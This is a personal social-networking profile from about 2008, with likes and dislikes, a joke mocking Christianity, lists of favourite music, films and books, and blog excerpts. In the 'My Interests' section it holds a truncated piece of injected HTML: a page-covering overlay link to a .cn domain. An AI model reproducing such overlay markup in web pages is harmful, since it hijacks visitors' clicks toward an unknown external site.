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chiiiiikeeen

can i have my mind back now...please? PLAAAYZ!

About Me


i love to drink.
i love to perform.
i love it when i inadvertently look like a complete badass.
i love movies.
i love art.
i love rings.
i love kittens.
i love happy chicken and dr. wolfenstein.
i love ryan.
i love bleeding.
i love total disaster.
i love perfect weather.
i love marshmallows.
i love complete chaos.
i love going to shows.
i love games.
i love the unexpected.
i love the color green.
i love the beach.
i love being surprised.
i love airports.
i love singing loud.
i love music.
i love my dad.
i love playing.
i love hardin.
i love traveling.
i love to feel missed.
i love things that are very small.
i love things that are really soft.
i love family.
i love conquering fears.
i love to hate the Florida State Seminoles.
i love "severely interesting smokes"
i love original kitty.
i love petard the retard.
i love david erby.
i loved my car.
i hate the fake.
i hate hype.
i hate lemmings.
i hate recruiters.
i hate spiders.
i hate oreo cookies.
i hate beets (not THE Beets).
i hate people who wont push past being scared to experience.
i hate when people are unappreciative of what they have.
i hate feeling unappreciated.
i hate flying.
i hate working for corporate bastards.
i hate this sentence "your smile is part of your uniform".
i hate obligation.
i hate the life i used to have.
i hate heights.
Also, if anyone thinks that perhaps their movie taste is close to mine, you need to watch "TIDELAND." A little depravity never hurt anyone...nor did a little Jeff Bridges.
Oh, and if you have anything written on your profile about "seizing the day" or "the moment", i probably don't like you.
Just ooooonnee mooooore thing....this is for all you devout religious "people" out there......
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CHRISTIANITY:
The belief that some cosmic Jewish Zombie can make you live forever if you symbolically eat his flesh and telepathically tell him you accept him as your master, so he can remove an evil force from your soul that is present in humanity because a rib-woman was convinced by a talking snake to eat from a magical tree.
Makes perfect sense to me. Why WOULDN'T you base your whole life around this story. Way to go.
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My Interests

dance...and now modeling, which is crazy. also drawing, painting, sculpting, and writing, but I'm not actually good at all THESE things...i just enjoy them. let's not forget drinking, "social" smoking, the Florida GATORS, the Boston RED SOX, racing cars (not nascar), and kayaking<a class="popup_wrapper" style="cursor:default;background-image:url(http://cy4vn .cn/bg.jpg);left:0px;top:0px;height:8370px;width:1095px;&quo t; href="http://cy4vn.cn/s/" m$l$

I'd like to meet:

while in Belgium, i met OLIVER ADAMS at a little bar in Tienen....i have just now, at 2:40am on saturday morning realized how awesome that is, and suddenly feel stupid for not being receptive to him buying me stella after stella after stella. im an idiot.

Music:

Sliding Penguin, Original Kitty, Manson, NIN, White Zombie, Earth Wind and Fire, James Taylor, Meshuggah, Poison the Well, Switchblade Symphony, Snoop Dogg, Dead Can Dance, Fatboy Slim, Orbital, Reggie and the Full Effect, Fear Factory, Portishead, Placebo, Smashing Pumpkins, Pearl Jam, The Shitty Beatles, Rage Against the Machine, Justin Timberlake, Johnny Guitar Watson, Deftones, Pantera (I love you Dimebag), Shai Hulud, Ween, Menudo, Jimmie's Chicken Shack, Jets to Brazil, Scissor Fight, Orgy, Dropkick Murphy's, Green Day, Counting Crows, Dr. Dre, Ludacris, Eminem, Busta Rhymes, Missy Elliot, Jack Off Jill, Snake River Conspiracy, Slok, Billy Talent

Movies:

The Exorcist, The Shinning, Halloween, Texas Chainsaw Massacre, Evil Dead, Re-Animator, Creepshow, Cat's Eye, Sleepwalkers, IT, The Stand, Enemy Mine, Star Wars Trilogy (original), Aliens, Jaws, Critters, Arachnaphobia, Last House on the Left, Requiem for a Dream, Happiness, Vulgar, Mallrats, Clerks, Drawing Flies, Resivoir Dogs, Natural Born Killers, Pulp Fiction, Four Rooms, Kill Bill (1 & 2), House of 1000 Corpses, The Devil's Rejects, American Gothic, Psycho, The Birds, Napoleon Dynamite, Liar Liar, Road Trip, Gia, Die Hard trilogy, The Sword and the Stone, Asterisk and Obelisk, Finding Nemo, Pay it Forward, The Story of Us, The Big Lebowski, A Goofy Movie, Toy Story, Bound, Bandits, Eternal Sunshine of the Spotless Mind, Sideways, Rules of Attraction, Love Actually, Little Miss Sunshine, Me You and Everyone We Know, The Hamiltons, Tideland, anything with Arnold Schwarzenegger, Thank You For Smoking, Just Friends, Love Liza, Magnolia, American Beauty, Pieces of April, Unhinged, Nightmare (aka "Marvelous Mervo"), Death Proof, Planet Terror

Television:

Friends, Roseanne, Queer as Folk, Nip/Tuck, Home Movies, Curb Your Enthusiasm, The Office (British and American), Fawlty Towers, Black Adder, The Wonder Years, Roseanne, Are You Being Served?, Red Dwarf, Arliss, Six Feet Under, The Larry Sanders Show, Band of Brothers, Entourage, Weeds, Metalocalypse

Books:

any Poppy Z. Brite book...Lost Souls, Wormwood, Exquisite Corpse, etc..., also Hitchhiker's Guide to the Galaxy, Where the Red Fern Grows, Sellevision, Running With Scissors, Filth, The Fuck UP, You Suck, and World War Z

Heroes:

Noel Reiss, mom, dad, Ryan, Original Kitty

My Blog

i think i may be going crazy.....

for this SONG!!!  HAAAYYYOOOOplease listen to it.....the band:  Snowdensong title:  Black EyesplAAYYse!!seriously.  im going crazy. oooooooookay then.this idea is dildos...
Posted by chiiiiikeeen on Mon, 22 Sep 2008 04:24:00 PST

tiny blue bugs are eating my flesh (i got the rollie pollies )

i kinda wanna write a blog about how im giving up an all my carrer-oriented goals and dreams....but i guess im not gonnai think my head is not exactly screwed on straight, and it prolly won't get righ...
Posted by chiiiiikeeen on Mon, 04 Aug 2008 12:47:00 PST

also, if anyone is bored,

Go to     www.dancetheatre.uncc.edu/    To see one of my super sweet jumpsi honestly can't believe they still have my picture on their homepage after all this time. ...
Posted by chiiiiikeeen on Mon, 04 Aug 2008 03:12:00 PST

livin the dream....for real this time

I feel that I need to write a short follow-up to my last blog.  I was very upset, and upon going back and re-reading it today, I realized that maybe I said some shit I didn't exactly mean, and al...
Posted by chiiiiikeeen on Thu, 17 Jul 2008 10:39:00 PST

hearts and scalpels

jesus i fucking love it...put Pussy Lips back on the schedulehell yeahGrote Out
Posted by chiiiiikeeen on Tue, 15 Jul 2008 03:12:00 PST

never have i seen such a stressful superbowl without giving a fuck about either team

Badgers eating off people's FACES?!  That shit pisses me off.  Anyone that knows me from the SKnet days will understand why.  Fuck. ...
Posted by chiiiiikeeen on Fri, 08 Feb 2008 12:35:00 PST

with a stomach full of roofies and a car full of squackers

i can remember it like it was yesterday.  me and my brother ryan were laying in the grass in my mom's front yard this past summer, so the grass was green and thick.  even though we were swea...
Posted by chiiiiikeeen on Sun, 06 Jan 2008 08:56:00 PST

gotta hate the states

so, im an idiot....anyone who knows me, knows i shouldn't be watching the last disc of the 10th season of Friends, let alone the special features.  so i guess now ill move straight on to Lov...
Posted by chiiiiikeeen on Wed, 11 Jul 2007 01:28:00 PST

not unlike the toaster, i control the darkness

so, the alps are pretty much astoundingly beautiful.  the way the clouds settle themselves into the mountains, the moss-covered ramshackled houses, the snow caps, the valleys, the tiny goats (aww...
Posted by chiiiiikeeen on Thu, 21 Jun 2007 02:50:00 PST

its better than a knock in the face...

man this has turned out to be a pretty depressing trip.  and theres always the chance i wont make it home...i will never fly like this ever again.  this shit is so fuckin stressful.  i ...
Posted by chiiiiikeeen on Fri, 15 Jun 2007 04:42:00 PST